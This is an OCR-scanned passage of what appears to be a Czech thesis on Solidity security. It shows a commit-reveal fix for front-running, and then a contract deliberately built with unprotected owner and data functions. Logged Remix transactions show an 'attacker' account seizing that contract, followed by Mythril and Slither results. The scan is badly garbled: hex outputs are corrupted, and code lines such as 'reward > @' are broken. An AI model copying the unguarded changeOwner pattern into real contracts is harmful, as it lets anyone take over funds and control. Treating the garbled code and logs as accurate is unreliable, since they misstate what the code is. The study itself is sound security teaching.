// Uzivatel nesmi odhalit dvakrat.
require(!hasRevealedClaim[msg.sender], "Already revealed");

hasRevealedClaim[msg.sender] = true;

// Pokud je toto prvni platné odhaleni, tento uzivatel se stava vitézem.

// Tim se zabrani Front-Runningu na samotné vyplaté, protoze vyplata je

mozna az po fazi odhaleni,
// a vitéz je urcen zde, na zdkladé Commit-Reveal.
if (winner == address(0)) {
winner = msg.sender;
emit WinnerSelected(winner, reward);
}
emit Revealed(msg.sender, _secret);
}
/**
* @dev Umoznuje vlastnikovi ukoncit fazi zdvazku a zahdajit fazi odhaleni.
*/
function endCommitPhase() external onlyOwner duringCommitPhase {
commitPhaseActive = false;

revealPhaseActive

true;
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// Faze odhaleni by méla byt také casové omezena
// revealPhaseEndTime = block.timestamp + X;
}
/**
* @dev Umoznuje vlastnikovi ukonéit fazi odhaleni.
*/
function endRevealPhase() external onlyOwner duringRevealPhase {

revealPhaseActive = false;

}
/**
* @dev Umoznuje vitézi vybrat nashromazdénou odménu.
* Lze volat az po skonceni faze odhaleni.
*/
function distributeFinalReward() external afterRevealPhase {
require(msg.sender == winner, "Only the winner can claim the reward");
require(reward > @, "No reward to distribute");
uint amount = reward;
reward = @; // Vynuluje odménu
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
emit RewardDistributed(msg.sender, amount);
}
/**

* @dev Pomocna funkce pro zjisténi aktudlniho zlstatku Etheru drzeného timto

kontraktem.
*/
function getContractBalance() public view returns (uint) {

return address(this).balance;

Ukazka kodua 12: Mitigace Front-Running zranitelnosti pomoci vzoru Commit-Reveal

( zdroj: viastni )
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V tomto modifikovaném kontraktu FrontRunningCommitReveal byla nahrazena jednoducha
funkce claimReward() dvoufdzovym procesem zalozenym na vzoru Commit-Reveal, ktery

slouzi k urceni vitéze, jenz bude mit narok na celkovou odménu (reward).

Nové byly zavedeny stavové proménné claimCommitments (pro ulozeni hasha
zavazkl), hasRevealedClaim (pro sledovani odhaleni), commitPhaseActive a
revealPhaseActive (pro fizeni fazi procesu) a winner (pro ulozeni adresy vitéze urceného v

Reveal fazi).

Funkce contribute() zstava stejnd, umoziuje prispivat do fondu odmény. Funkce
commitClaimHash(bytes32 secretHash) reprezentuje fazi zavazku. Uzivatel, ktery piispél,
muze v této fazi (kdy je commitPhaseActive true) odeslat transakci obsahujici hash tajného
kédu a soli (vypocteny mimo blockchain). Kontrakt ovéfi, zda uzivatel ptispél a zda se jiz
nezavézal, a ulozi hash. Utoénik vidi pouze hash, nikoli samotny tajny kéd, ¢imz je

zamezeno zneuziti informace v této fazi.

Funkce revealClaimSecret(bytes32 secret, bytes32 salt) reprezentuje fazi odhaleni
(kdy je revealPhaseActive true). UZivatel odeSle transakci obsahujici sviij tajny kod a stl.
Kontrakt ovéfi, zda vypocteny hash odpovida ulozenému zavazku uzivatele a zda uzivatel
jesté neodhalil. Pokud jsou ovéteni uspéSnd a je to prvni platné odhaleni v ramci tohoto
procesu ( winner == address(0)), tento uzivatel je nastaven jako winner. Tato faze mutize byt
front-runnuta, ale uto¢nik pottebuje nejen vidét odhalovany kod, ale musi mit také vlastni
platny zavazek (commit) k tomuto kddu (nebo k jinému kodu, ktery by ho ucinil vitézem) z

predchozi faze. Bez platného zdvazku jeho pokus o odhaleni selze.

Funkce endCommitPhase() a endRevealPhase() slouzi k tizeni pfechodu mezi
fazemi. V této zjednoduSené ukazce jsou volatelné pouze vlastnikem kontraktu, ale v

realnych aplikacich byly fizeny ¢asove.

Funkce distributeFinalReward() umoziuje vitézi (winner), ur¢enému v Reveal fazi,
vybrat nashromézdénou odménu. Tato funkce je volatelna az po skonceni faze odhaleni.
Protoze vitéz je uréen v Reveal fazi na zdkladé Commit-Reveal procesu, neni mozné tuto

funkci pfimo front-runnout zptisobem, jakym bylo moZné zneuzit plivodni claimReward().

Tato implementace fe$i zranitelnost Front-Running tim, Ze zabranuje Uto¢nikovi
vidét a zneuzit kritickou informaci (kéd slouzici k ziskani odmény) v okamziku, kdy je
mozné ji efektivné front-runnout. UrCeni vitéze je presunuto do faze odhaleni, kde je

chranéno piedchozi fazi zavazku.
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6.3.4 Analyza po mitigaci

Po implementaci bezpe¢nostniho opatieni spocivajiciho v aplikaci vzoru Commit-Reveal na
proces urceni vitéze odmény (vysledkem je kontrakt FrontRunningCommitReveal), byla
provedena analyza (Ukazka kodu 12). Cilem bylo ovéfit, zda provedena uprava nezavedla
nové chyby a jak na ni reaguje nastroj pro statickou analyzu, Mythril, s ohledem na ptedchozi

zjisténi o jeho omezenych schopnostech detekovat Front-Running.
Vystup z Mythrilu (po mitigaci Commit-Reveal)

- contracts myth analyze FrontRunningCommitReveal.sol

The analysis was completed successfully. No issues were detected.

Vystup z Mythrilu po analyze zabezpeceného kontraktu FrontRunningCommitReveal
signalizuje, Ze "Analyza byla uspésn¢ dokoncena. Nebyly zjistény zadné problémy." ("The

analysis was completed successfully. No issues were detected.").

Tento vysledek znamena, ze Mythril nenalezl v modifikovaném koédu zadné
standardni, automaticky detekovatelné zranitelnosti nebo rizikové vzory kodu, jako byly
napiiklad problémy s Reentrancy nebo obecné varovani o zavislosti na potadi transakci,
které bylo pfitomno ve zranitelné verzi. Absence nalezl naznacuje, ze kéd je pravdépodobné

prosty béznych chyb na urovni implementace, které dokaze Mythril identifikovat.

ro~or

Skutec¢nost, Ze Mythril nehlési Zadné problémy, neznamena automaticky, Ze kontrakt
je zcela imunni vi¢i Front-Runningu nebo jinym formém MEV. Znamena to pouze, ze
neobsahuje chyby, které Mythril dokéaze najit na zaklad€ svych pfedprogramovanych vzort
a symbolické exekuce. Mitigace Front-Runningu pomoci vzoru Commit-Reveal spoléhd na
komplexnéj$i mechanismus rozdé€leni rizika a pozaduje, aby Gto¢nik mél platny zavazek z
piedchozi faze. Mythril nedokdze ovéfit, zda tento dvoutazovy proces spravné funguje v

realném prostredi se sledovanim mempoolu a manipulaci s gasem.

Proto priméarni ovéfeni ucinnosti mitigace Front-Runningu spocivd v dikladné
manualni kontrole kodu vzoru Commit-Reveal, aby bylo zajisténo, Ze logika fazi, haSovani
a ovéfovani zavazkl je spravna a neobsahuje zadné chyby, které by mohly byt zneuzity
(napf. slabé hasovaci funkce, chyby v fizeni fazi). Praktickém testovani a simulaci Gtoku v
testovacim prostiedi, kde by se ovéfilo, Ze pokus o Front-running fdze "Reveal" selze z

davodu absence platného zédvazku Gtocnika z faze "Commit".
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V navaznosti na vysledky statické analyzy bylo pfistoupeno k ovétreni spravného fungovani
bezpecnostni tpravy v praxi. Cilem bylo opét simulovat scénaft front-running utoku a ovéfit,
zda nove implementovany commit-reveal mechanismus \4 kontraktu
FrontRunningCommitRevealDemo skutecné¢ zabranuje zneuziti. Testovani bylo provedeno

v nékolika krocich pomoci transakci odesilanych ze simulovaného uzivatelského uctu.

V prvni fazi kontrolniho testovani se uzivatel pokusil okamzité ziskat odménu bez toho,
aby prob¢hla faze odhaleni, tedy bez toho, ze by byl urcen vitéz. Tento pokus skoncil
neuspesne. Jak miizete vidét v tabulce (Tabulka 20). Transakce byla revertovana s chybovou
hlaskou ,,Reveal phase not over®, ¢imz kontrakt spravné indikoval, ze jest¢ nedoslo k
ukonéeni procesu losovani. Vysledek odpovidal ocekavani. Smart kontrakt zamezil

jakémukoli neopravnénému vybéru prostiedkil diive, nez byl dokonéen cely commit-reveal

proces.
from: ©x583...40225
to: FrontRunningCommitRevealDemo.claimReward() 0x643...62E55
[vm] value: 0 wei
data: 0xb88...a802f
logs: ©
hash: 0xa6l...4cc00
status 0x0 Transaction mined but execution failed

transaction hash 0xa61427b96851c615624062ef2dd7d0472e6aeablf8a03a98ad4le29badfblccoo

block hash 0xa57950548db4fccab7e26b24b8de861285fcbe70665baae92997439a4c5ela3e
block number 5

from 0x583031D1113aD414F02576BD6afaBfb302140225

to FrontRunningDemo.claimReward()

0x6431fDOC29d024c5b04C7dAB157FcCD329E62E55

gas 6000000 gas
transaction cost 52931 gas
execution cost 36667 gas
input 0xb88. ..a802f

0x08c3792000000000000000000000000000000000VVVVVVV0VVVVRRBVBRBRRA

output 0000002000000000000000000VVRVBPVRVVRVVRVVRVRRLVRRRLVBYVRLRYO
00001552657665616C207068617365206e61742061766572000000000000000000
0000

decoded input 3

decoded output {3
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logs [

raw logs []

transact to FrontRunningCommitRevealDemo.claimReward errored:
Error occurred: revert.

poznamka revert
The transaction has been reverted to the initial state.

Reason provided by the contract: "Reveal phase not over".
You may want to cautiously increase the gas limit if the
transaction went out of gas.

Tabulka 20: Netspésny pokus o vybér odméeny pied ukoncéenim faze odhaleni

( zdroj: viastni )

~_ 7 v

Po zjisténi, ze faze odhaleni dosud nebyla ukoncena, pokusil se tentyz uzivatel o jeji
manudlni ukonceni prostfednictvim volani funkce endCommitPhase. Tento krok vSak selhal,
protoze kontrakt vyslovné vyZzaduje, aby byl tento zasah proveden pouze vlastnikem
kontraktu (owner). V disledku toho byla transakce opét revertovana s jasnym odiivodnénim:
,,Only owner can call this function®. Podrobn¢jsi informace jsou uvedeny v tabulce (Tabulka

21).

from: ©x583...40225

to: FrontRunningCommitRevealDemo.endCommitPhase () ©x643...62E55
[vim] value: 0 wei

data: 0xb88...a802f

logs: ©

hash: oxdé6l...28d37

status 0x0 Transaction mined but execution failed

transaction hash oxd617e7df3d00c3a4658ae4cdbad9956a413ae686b72c895d6F870c32c8928d37

block hash 0x62b900d494d1f42d085c391e6b9b996622594c19e0a95744e13713ec18fec28c
block number 6

from 0x583031D1113aD414F02576BD6afaBfb302140225

to FrontRunningDemo.endCommitPhase()

0x6431fD0C29d024c5b04C7dAB157FcCD329E62E55

gas 6000000 gas
transaction cost 52931 gas
execution cost 36667 gas
input 0xb88. . .a802f

0x08c379200000000000000000000000VVVBRRRVVVVLORRRCVVVYBLRRVVVYLLRRA
output 00000020000000000000000000000000000000000000BRV000VVVEBRRVVVVLLRRD
0000214f6e6c792061776e65722063616€2063616c6Cc20746869732066756€6374
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696162000000000000000000000000000000000000000000000000000000000000

00
decoded input {3
decoded output {}
logs [1
raw logs [

transact to FrontRunningCommitReveal.endCommitPhase errored: Error
occurred: revert.

revert

poznamka The transaction has been reverted to the initial state.
Reason provided by the contract: "Only owner can call this
function".

You may want to cautiously increase the gas limit if the
transaction went out of gas.

Tabulka 21: Zamitnuti neopravnéného pokusu o ukonceni — validace role vlastnika

( zdroj: vlastni )

Po tspésném odhaleni tajného fetézce jednim z Gcastnikll a urceni vitéze prostfednictvim
validniho revealSecret bylo opétovné pristoupeno k volani funkce claimReward, tentokrat z
adresy, kterd se vitézem nestala. I tento pokus byl spravné odmitnut — kontrakt vyhodnotil,
ze volajici neni vit€ézem losovani, a transakce byla revertovana s hlaSkou ,,Only winner can
claim®. Tento krok v testovani potvrdil, Ze ani po skonCeni fazi commit a reveal neni mozné
ziskat odménu, pokud volajici neni validné¢ uréenym vitézem. Podrobné informace o

neuspéSném volani claimReward jsou uvedeny v tabulce (Tabulka 22).

from: ©x583...40225

to: FrontRunningDemo.claimReward() ©x643...62E55
[vm] value: 0 wei

data: 0xb88...a802f

logs: ©

hash: oxb6f...19ell

status 0x0 Transaction mined but execution failed

transaction hash 0xb6f6d3b71a3047fffb2006903828bb53550a3b01ca53536f5d9c3fb117d19e11

block hash 0x3971aeec5b9180cdb34cebda33a3e2e8792a45a0675c4a3c950ab066d769315b
block number 23

from 0x583031D1113aD414F02576BD6afaBfb302140225

to FrontRunningDemo.claimReward()

0x6431fDOC29d024c5b04C7dAB157FcCD329E62E55

gas 6000000 gas




118 UTB ve Zliné, Fakulta aplikované informatiky

transaction cost 52931 gas

execution cost 36667 gas

input oxb88. . .a802f
0Xx08C37920000000000000VVVVRVLRVPVRVVRVVRVOLRYVVRVBLVRRVRLVVLBLRLO

output 000000200000000000000000VPVVRVPVRVVRVVRVVRYVRVBLVVRRLVVLBLRLO
0000154f6e6C792077696€6€65722063616€20636C61696d000000000000000000
0000

decoded input {3

decoded output {}

logs []

raw logs []

transact to FrontRunningCommitRevealDemo.claimReward errored:
Error occurred: revert.

poznamka revert
The transaction has been reverted to the initial state.

Reason provided by the contract: "Only winner can claim".
You may want to cautiously increase the gas limit if the
transaction went out of gas.

Tabulka 22: Netspésny pokus o vybér odmény neautorizovanym ucastnikem

( zdroj: viastni )

Tato posloupnost krokli dobfe ilustruje, Ze navrh kontraktu brani nejen front-running
utoktm, ale zaroven zajiStuje, Ze fazovy pfechod v commit-reveal modelu je kontrolovan a
fizen vyhradné opravnénou entitou, vlastnikem kontraktu. Tim je zajiSténa deterministicka
a nediskrecni sprava pribéhu losovani, a tedy 1 vybéru vitéze a ndsledné distribuce odmény.
Navic bylo potvrzeno, Ze ani po Uspésném urceni vitéze nemize Zadny jiny Ucastnik bez

validniho zdvazku a nésledného odhaleni vyhru ziskat.

Praktické ovéteni timto jednoznacné potvrdilo, Ze bezpecnostni opatfeni postavené na
vzoru commit-reveal bylo navrzeno spravné a efektivné brani pokusiim o zneuziti procesu

vybeéru vitéze ¢i pred¢asného Cerpani prostredki.

6.4 Access Control Vulnerabilities

Tato kapitola se zamé&fi na demonstraci a analyzu zékladni zranitelnosti kontroly pfistupu na
jednoduchém ptikladu, kde bude ukazano, jak 1ze zneuzit chybéjicich kontrol k neopravnéné
zmeéné stavu a prevzeti vlastnictvi kontraktu. Ackoliv tato zranitelnost mize mit rizné

v v rvo ¢

formy, vCetné slozitéjSich scénaiti jako je manipulace s multi-sig pené¢Zenkami. Zakladni
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princip spociva v chybéjicim ovéfeni identity nebo role volajiciho. Pro ucely nazorné
demonstrace bude pouzita jednoducha ukazka zranitelného kontraktu a bude provedena

simulace utoku v testovacim prosttedi.

6.4.1 Simulace a demonstrace zranitelnosti

Pro simulaci zakladni zranitelnosti kontroly pfistupu byl vytvofen jednoduchy smart
kontrakt VulnerableAccessControlDemo. Tento kontrakt obsahuje dvé stavové proménné.
Owner, kterd uklddd adresu vlastnika kontraktu (nastavenou pii nasazeni na adresu
deployera), a importantData, ktera uklada fetézec predstavujici néjaka dulezitd data.
Kontrakt obsahuje také dv¢ verejné funkce: updatelmportantData(), kterd umoziuje zménit
hodnotu importantData, a changeOwner(), kterd umoziiuje zménit adresu vlastnika

kontraktu (owner).

Zranitelnost v tomto kontraktu spoc¢iva v tom, ze funkce updateImportantData() a
changeOwner() jsou deklarovany jako public, ale neobsahuji Zadné kontroly ovétujici, zda
volajici je opravnén tyto funkce volat (napf. zda je aktudlnim vlastnikem). To znamena, ze

tyto kritické funkce mize volat kdokoli, kdo zné adresu kontraktu.

Pouzity kéd pro simulaci zranitelnosti

// SPDX-License-Identifier: MIT
pragma solidity "0.8.29;
/**
* @title VulnerableAccessControlDemo
* @dev Smart kontrakt bez spravné kontroly pristupu (Access Control Vulnerability).
*/
contract VulnerableAccessControlDemo {
address public owner;
string public importantData;
constructor() {
owner = msg.sender; // Pri nasazeni je deployer vlastnikem
}
/**

* @dev Funkce méni dllezitd data. Nechrdanéna - kdokoliv midze volat.
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*/
function updateImportantData(string memory _data) public {

importantData = _data;

¥
/**

* @dev Funkce méni vlastnika kontraktu. Nechranéna - kdokoliv miiZze prevzit

vlastnictvi.
*/
function changeOwner(address _newOwner) public {

owner = _newOwner;

Ukazka kodi 13: Demonstrace zranitelné kontroly pristupu v kontraktu

(zdroj: vlastni )

Prostfedi simulace bylo opét Remix IDE s vyuzitim vestavéného JavaScript VM. Byly

pouzity dva testovaci ucty: ptivodni vlastnik (deployer) a ucet simulujici Gito¢nika.
Pouzité prostiedky pro simulaci zranitelnosti Access Control:

e Simulace provedena v Remix IDE (JavaScript VM).

e Pouzita verze jazyka Solidity: *0.8.29.

e Virtudlni blockchain prostfedi: konfigurace Cancun.

e Adresa nasazeného kontraktu VulnerableAccessControlDemo:

0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8.
e Testovaci ucty:

0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 (Plivodni vlastnik),
0xAb8483F64d9C6d1EcF9b849Ae677dD3315835¢b2 (Utoénik).

Prvnim krokem simulace bylo provedeno nasazeni kontraktu
VulnerableAccessControlDemo do prostiedi Remix IDE pomoci uctu, ktery se stal

pocatecnim vlastnikem. Detail transakce nasazeni je zaznamenan v tabulce (Tabulka 23).
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from: Ox5B3...eddC4
to: VulnerableAccessControlDemo. (constructor)

[vim] value: 0 wei
data: 0x608...20033
logs: ©
hash: 0x27f...beddo
status

Ox1 Transaction mined and execution succeed

transaction hash

0x27f3d5101a16694ab9c2cd6874549501242c7b592855f85feeaa7c7dblbbeddo

block hash

0xc3c61dd3106fe52802728a24e06cb3922914b5f1bac51fde45606782700c2984

block number

contract address

0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8

from 0x5B38Da6a701c568545dCfcBO3FcB875f56beddC4
to VulnerableAccessControlDemo. (constructor)
gas 568007 gas

transaction cost 493919 gas

execution cost 409387 gas

input

0x608. ..a0033

output

0x60806040523480156100015751801d5b506004361061004957513560e01c8062
4bece81461004d5780638da5cb5b1461006b578063a6T9dael14610089578063c1
58dc27146100a5575b5f80fd5b6100556100c1565b604051610062919061023556
5b60405180910390135b61007361014d565b6040516100809190610294565b6040
5180910390135b6100a3600480360381019061009€91906102e8565b610170565b
005b6100bT60048036038101906100ba9190610431565b6101b2565b005b600180
546100ce906104b3565b8060110160208091040260200160405190810160405280
92919081815260200182805461001a906104b3565b801561014557806011106101
1c57610100808354040283529160200191610145565b8201919051526020512090
5b815481529060010190602001808311610128578290036011168201915b505050
505081565b518054906101000a900473F f ff I fffffffffffffffffffffff
ffffff1681565b8051806101000a81548173fffFfffffffffffffffffffffffff
A ffffff021916908373Ffffffffffffffiffrfffrfffrrffrfffrffffffiee2 Fff{fff{f
ffffff8211156103ad576103ac61031b565b5b6103b6826101ed565b9050602081
019050919050565b828183375183830152505050565b516103e36103de84610393
565b610379565b905082815260208101848484011115610311576103fe61031756
5b5b61040a8482856103c3565b509392505050565b518260118301126104265761
0425610313565b5b81356104368482602086016103d1565b91505092915050565b
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5160208284031215610454576104536102b6565b5b5+82013567Ff fFffffffffff
££811115610471576104706102ba565b5b61047d84828501610412565b91505092
915050565b7f4e487b710000000000000000000000000000000000000000000000
00000005 T52602260045260245FFfd5b5f60028204905060018216806104ca57
6071821691505b6020821081036104dd576104dc610486565b5b50919050565b5F
819050815152602051209050919050565b51602060118301049050919050565b5F
82821b905092915050565b516008830261053F7f Ffffffffffffffffffffffffff
e ffffffffffffff82610504565b6105498683610504
565b95508019841693508086168417925050509392505050565b51819050919050
565b5f819050919050565b5f61058d61058861058384610561565b61056a565b61
0561565b9050919050565b5+819050919050565b6105a683610573565b6105ba6l
05b282610594565b848454610510565b825550505050565b5f90565b6105ce6105
c2565b6105d981848461059d565b505050565b5b818110156105fc576105F15F82
6105c6565b6001810190506105df565b5050565b60118211156106415761061281
6104e3565b61061b846104f5565b8101602085101561062a578190505b61063e61
0636856104f5565b8301826105de565b50505b505050565b5182821¢c9050929150
50565b51610661511984600802610646565b1980831691505092915050565b5161
06798383610652565b9150826002028217905092915050565b610692826101c556
Sbe7ffffffffffffffff8111156106ab5761062a61031b565b5b6106b582546104
b3565b6106c0828285610600565b51602090506011831160018114610611575f84
156106d1578287015190505b6106€9858261066e565b865550610750565b601f19
84166106ff866104e3565b515b8281101561072657848901518255600182019150
602085019450602081019050610701565b86831015610743578489015161073f60
1f891682610652565b8355505b6001600288020188555050505b50505050505056
fea2646970667358221220af19b24dcf35bb63483d0Ob9c57c2aa3bf2fcafb56961
c9054d86473cc72d31fc6473616c634300081a0033

decoded input {}
decoded output {}
logs []
raw logs [

Tabulka 23: Detail transakce nasazeni kontraktu VulnerableAccessControlDemo

(zdroj: vlastni )

V konstruktoru kontraktu byla v tomto okamziku stavova proménna owner nastavena na
adresu vlastnika, a importantData je prazdny fetézec. Tento pocate¢ni stav je vizualné
zachycen na obrazku (Obrazek 25).

Obrazek (Obrazek 25) vizualné potvrzuje vychozi stav kontraktu ihned po jeho
nasazeni, kde je vidét piivodni vlastnik a nezménén4 data. Uget Gtoénika nemé 7adn4 zvlastni
opravnéni vici kontraktu, ale pokusi se zneuZit chybé&jici kontroly pfistupu na kritickych

funkcich.
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changeOwner

updatelmport...

importantData

Obrazek 25: Pocate¢ni stav nasazeného kontraktu VulnerableAccessControlDemo

( zdroj: viastni )

Prvnim krokem utoku bylo volani funkce changeOwner(), kterd méni vlastnika kontraktu.

Utoénik odeslal transakci volajici tuto funkci a jako parametr newOwner zadal svou vlastni

adresu. Detail této transakce je zaznamenan v tabulce (Tabulka 24).

from: OxAb8...35cb2
to: VulnerableAccessControlDemo.changeOwner(address) 0xd8b...33fa8
value: 0 wei

[vm]
data: @xa6f...35cbh2
logs: ©
hash: 0x62c...0c847
status ox1 Transaction mined and execution succeed

transaction hash

Ox62cele71dd89246fcdo0c44be2635035e49da52edc4c82d78462d2bbbeedc847

block hash 0x28fb249ebb790841ca1120eb2£823925237c1287e5502f4ae8ce8141bcadcd4l

block number 3

from OxAb8483F64d9C6d1ECF9b849Ae677dD3315835¢ch2

to VulnerableAccessControlDemo.changeOwner(address)
0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8

gas 31015 gas

transaction cost 26969 gas

execution cost 5537 gas

input

oxa6f...35cbh2
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output

o0x

decoded input

{"address _newOwner":
"OxAb8483F64d9C6d1ECF9b849Ae677dD3315835¢cb2"}

decoded output

{}

logs

[l

raw logs

(]

Tabulka 24: Detail transakce Utoénika volajici funkci changeOwner()

(zdroj: viastni )

Tabulka (Tabulka 24) ukazuje UspéSné provedeni transakce uto¢nikem. Jelikoz funkce

changeOwner() neobsahuje zadnou kontrolu ovéfujici, zda volajici je opravnén meénit

vlastnika (napf. zda je stavajicim vlastnikem), transakce prob¢hla bez chyby a stavova

proménna owner v kontraktu byla ptepsana na adresu Gtoc¢nika.

Nasledné uto¢nik pokracoval ve zneuZiti chybéjicich kontrol pfistupu. Vykonal dalsi

transakci volajici funkci updateImportantData(), kterd méni hodnotu dulezité stavové

proménné importantData. Jako parametr zadal fetézec "Hacked by Attacker", aby

demonstroval svou schopnost modifikovat stav kontraktu. Detail této transakce je

zaznamenan v tabulce (Tabulka 25).

from: OxAbS8...35cb2
to: VulnerableAccessControlDemo.updateImportantData(string)
oxd8b. ..33fa8

[vm] value: 0 wei
data: Oxcl5...00000
logs: ©
hash: oxbl7...4df2b
status ox1 Transaction mined and execution succeed

transaction hash

0xb1737ced49ealbc56ecb99d130c2ef892e209caf4bl8d4bdaea2claa37a4df2b

block hash

0xT0a01893889192ea64bd4956d4b162b082c3ed83b386c4eb2505945adf9d1797

block number

from OxAb8483F64d9C6d1ECF9b849Ae677dD3315835¢cb2

to VulnerableAccessControlDemo.updateImportantData(string)
0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8

gas 52184 gas

transaction cost

45377 gas
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execution cost

23689 gas

input

0xcl5. ..00000

output

%)%

decoded input

{ "string _data": "Hacked by Attacker" }

decoded output

{}

logs

[l

raw logs

[l

Tabulka 25: Detail transakce Utoénika volajici funkci updateImportantData()

( zdroj: viastni )

Po provedeni uto¢nych transakci bylo provedeno ovéfeni zménéného stavu kontraktu

volanim pfisluSnych getter funkci z Remix IDE. Nejprve byla zavoldna vetfejna funkce

importantData(). Detail tohoto volani je zaznamenan v tabulce (Tabulka 26).

from: OxAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2

[call] to: VulnerableAccessControlDemo.importantData()
data: 0x004...bece8

from OxAb8483F64d9C6d1ECF9b849Ae677dD3315835¢ch2

to VulnerableAccessControlDemo.importantData()
0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8

gas 3299 gas (Cost only applies when called by a contract)

input 0x004. . .beces
0xX0000000000000VVVVRVVRVVRVLVVLRVVRVVRVOLYVRVRLVVLVRLVVLRRR20

output 0000000000000V RVVRVVRVVRYVRVRLVVRVRLVLRV1248

61636b65642062792041747461636b65720000000000000000000000000000

decoded input

1}

decoded output

{ "@": "string: Hacked by Attacker" }

logs

[

raw logs

[

Tabulka 26: Detail volani funkce importantData() po jeji zméné

( zdroj: viastni )

Tabulka (Tabulka 26) potvrzuje, Ze hodnota proménné importantData byla Gispé$n€ zménéna

na "Hacked by Attacker", coZz demonstruje schopnost uto¢nika modifikovat data v kontraktu
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bez opravnéni. Dale bylo provedeno ovéfeni zmény vlastnika voldnim vefejné funkce
owner(), a to dokonce z piivodniho uctu vlastnika (0x5B38...eddC4), aby se prokazalo, ze

puvodni vlastnik jiz nema kontrolu.

from: ©x5B38Da6a701c568545dCfcBO3FcB875f56beddC4
[call] to: VulnerableAccessControlDemo.owner()
data: ©x8da...5cb5b
from 0x5B38Da6a701c568545dCFcBO3FcB875f56beddC4
to VulnerableAccessControlDemo.owner()
0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8
gas 2505 gas (Cost only applies when called by a contract)
input ox8da. ..5cb5b
output 0x000000000000000000000000ab8483f64d9c6dlecfob849ae677dd3315835ch2
decoded input {}
decoded output { "@": "address: @xAb8483F64d9C6d1ECFIb849Ae677dD3315835¢ch2" }
logs [
raw logs [

Tabulka 27: Detail volani funkce owner() po zmén¢ vlastnika

( zdroj: viastni )

Tabulka (Tabulka 27) potvrzuje, Ze hodnota proménné owner byla skute¢né zménéna na
adresu utoc¢nika. Timto krokem uto¢nik efektivné ptevzal plnou kontrolu nad kontraktem,
protoze nyni muze volat jakékoli dalsi funkce, které by mohly potencidlné¢ vyzadovat
opravnéni vlastnika (pokud by existovaly a byly spravné chranény modifikdtorem
onlyOwner). Kone¢ny stav kontraktu po utoku, zobrazujici zménénou adresu vlastnika a

modifikovana data, je zachycen na obrazku (Obrazek 26).

Simulace s kontraktem VulnerableAccessControlDemo demonstrovala zranitelnost
typu Access Control Vulnerability. Bylo prokazano, ze absence kontrol pfistupu na funkcich
changeOwner() a updateImportantData() umoznila neopravnénému uzivateli (Utoénikovi)

ptevzit vlastnictvi kontraktu a modifikovat jeho dulezita data.
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CeAbBARIFEAAD 6 d 1 EcFIbE40AGTTdD3315835ch2

updatelmport...  Hacked by Attacker

importantData

Obrazek 26: Konecny stav kontraktu VulnerableAccessControlDemo po tGtoku

( zdroj: vlastni )

6.4.2 Analyza zranitelnosti pied mitigaci

V ptedchozi podkapitole byla na smart kontraktu VulnerableAccessControlDemo (Ukéazka
koédu 13) demonstrovana zranitelnost zpisobend absenci spravné kontroly ptistupu. Bylo
ukdzano, jak lze diky chybé&jicim omezenim neopravnéne meénit stav kontraktu a prevzit jeho
vlastnictvi. V této casti je provedena hlubsi analyza zdrojového kodu za wvyuziti
automatizovanych nastroji s cilem posoudit jejich schopnost tuto zranitelnost identifikovat

a zéroven zdlraznit nezastupitelnou roli manualni kontroly kodu.
Analyza pomoci Mythril

Prvnim pouzitym néstrojem byl Mythril. Vzhledem k povaze zranitelnosti bylo ocekéavano,

ze Mythril odhali problém s nechranénou funkci changeOwner().

Vystup z Mythrilu

- contracts myth analyze VulnerableAccessControlDemo.sol

The analysis was completed successfully. No issues were detected.
Prekvapivé vSak Mythril Zadné problémy nezjistil. Tato skutecnost poukazuje na dalezity
fakt, Ze ani pokrocilé automatizované nastroje nejsou neomylné. Detekéni schopnosti mohou
byt ovlivnény konfiguraci néstroje, konkrétni implementaci zranitelnosti nebo slozitosti

prohledavaného stavového prostoru.
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Analyza pomoci Slither

Naésledné byla provedena analyza pomoci Slitheru, ktery je zalozen na statické analyze kodu
a je obecné ucinnéjsi pii identifikaci chybé&jicich kontrol ptistupu.
Vystup ze Slitheru

- contracts slither VulnerableAccessControlDemo.sol
'solc --version' running

'solc VulnerableAccessControlDemo.sol --combined-json abi,ast,bin,bin-
runtime, srcmap, srcmap-runtime,userdoc,devdoc,hashes --allow-paths

.,/Users/mv/Desktop/school/contracts' running
INFO:Detectors:

VulnerableAccessControlDemo.changeOwner(address). newOwner
(VulnerableAccessControlDemo.sol#26) lacks a zero-check on : - owner = _newOwner

(VulnerableAccessControlDemo.sol#27)

Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#missing-zero-

address-validation
INFO:Detectors:

Parameter VulnerableAccessControlDemo.updateImportantData(string). data

(VulnerableAccessControlDemo.sol#19) is not in mixedCase

Parameter VulnerableAccessControlDemo.changeOwner(address)._newOwner

(VulnerableAccessControlDemo.sol#26) is not in mixedCase

Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#conformance-

to-solidity-naming-conventions

INFO:Slither:VulnerableAccessControlDemo.sol analyzed (1 contracts with 100

detectors), 3 result(s) found

Detailni rozbor detekovanych problémi poskytnutych z vystupu Slitheru

Missing zero address validation
Configuration

Check: missing-zero-check
Severity: Low

Confidence: Medium

Description
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Detect missing zero address validation.
Exploit Scenario:
contract C {

modifier onlyAdmin {

if (msg.sender != owner) throw;

}

function updateOwner(address newOwner) onlyAdmin external {

owner = newOwner;

}

Bob calls updateOwner without specifying the newOwner, so Bob loses ownership of the

contract.
Recommendation

Check that the address is not zero.

Slither pti analyze kontraktu detekoval tfi nalezy. Dva z téchto nalezl se tykaly stylistickych
chyb spojenych s pojmenovanim parametrii funkci, konkrétné¢ s nedodrzenim zasad
pojmenovavani v mixedCase formatu. Tyto chyby vS§ak nemaji Zadny dopad na bezpecnost

kontraktu.

Tfetim a zavaznéjSim nalezem byl bezpecnostni problém souvisejici s chybé&jici
validaci nulové adresy (address(0)) ve funkci changeOwner(). Absence kontroly, zda novy
vlastnik neni nastaven na nulovou adresu, by v praxi mohla vést k nendvratné ztraté
vlastnictvi kontraktu. Tento scénatr je klasifikovan jako problém s nizkou zavaZnosti

(severity: Low), avSak 1 pfesto predstavuje realné bezpecnostni riziko.

Doporucenym feSenim je ptidani validaéni podminky, kterd ovéefi, Ze nova adresa
